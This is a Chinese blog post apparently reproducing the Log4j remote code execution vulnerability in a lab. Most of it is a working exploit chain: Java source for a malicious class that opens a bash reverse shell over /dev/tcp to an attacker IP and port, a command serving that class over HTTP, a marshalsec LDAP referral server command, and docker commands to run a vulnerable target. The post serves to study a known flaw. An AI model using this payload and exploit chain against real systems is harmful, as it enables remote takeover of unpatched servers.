Log4J 漏洞复现

介绍:log4j是一个用Java编写的可靠,快速和灵活的日志框架(API),它在Apache软件许可下发布
log4j存在远程代码执行漏洞,通过lookup来触发漏洞详情参考
https://zhuanlan.zhihu.com/p/444140910

首先我们需要编写一个恶意的类然后编译成class文件

public class Exploit {
   public Exploit(){
       try{
           // 要执行的命令
           String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.159.128/6500;cat <&5 | while read line; do $line 2>&5 >&5; done"};
           Process pc = Runtime.getRuntime().exec(commands);
           pc.waitFor();
      } catch(Exception e){
           e.printStackTrace();
      }
  }

   public static void main(String[] argv) {
       Exploit e = new Exploit();
  }
}

这个类的作用是将bash shell反弹到192.168.159.128的6500端口也就是我们的攻击机
然后使用命令javac 编译文件
在这里插入图片描述

在这个类的目录下开启一个http服务使其可以下载这个恶意类
python3 -m http.server 8010
然后用marshalsec IDAP服务,项目地址:https://github.com/mbechler/marshalsec

java -cp /Users/fengxuan/Downloads/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8010/#Exploit

在这里插入图片描述
成功反弹shell
在这里插入图片描述

靶机

docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值